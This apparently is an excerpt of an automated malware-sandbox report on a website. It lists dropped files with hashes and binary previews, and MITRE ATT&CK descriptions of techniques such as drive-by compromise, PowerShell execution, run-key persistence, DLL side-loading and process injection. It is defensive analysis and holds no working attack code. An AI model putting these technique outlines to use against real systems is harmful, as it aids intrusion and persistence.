C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 234

Chrome Cache Entry: 238

Chrome Cache Entry: 239

Chrome Cache Entry: 240

Chrome Cache Entry: 242

Chrome Cache Entry: 245

Chrome Cache Entry: 248

Windows Analysis Report
http://annavirgili.com

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1299056709434643
Encrypted:	false
SSDEEP:
MD5:	7FDBE70DB5AC5A037B972DF9954D4384
SHA1:	EF134F53A38F0B7CD99F7DBD30E58FCF5BFC7CDB
SHA-256:	01DE9D8758CAFF0777EDEF1E9D29366CC2111543C54D4A237B2E35E7D91B9E01
SHA-512:	E9440351E0D90AFFCC3DA27490A3A826F3AA53ADE04E2C819FC9D03B496AFE05258F18A6270BBC2B4BF1E502B20BB25FC18008F32ADEA9F51576693222AEFF15
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...q.w.z.w.a.2.h.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...q.w.z.w.a.2.h.v...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 12 11:27:33 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9741823776359015
Encrypted:	false
SSDEEP:
MD5:	E6D513F0FF94E32BD1232002040058EF
SHA1:	82DA63F2ABD82B50AE503789B127E999F1E8A7CC
SHA-256:	DEF415AA9227FF68F048495D19634A5FC8625651AAE9F1207174392936DDC305
SHA-512:	9470903AC69A38888DFC5B497EAE9D09DCA4BC278DD29069E315B6DDE173AEEC81E14E388704CA7861D3CA14DB324776E316C13040DC71160FBEFD390D6C9D94
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......18.L..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Ycc....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Ypc....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Ypc....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Ypc..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Yqc...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........h<.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre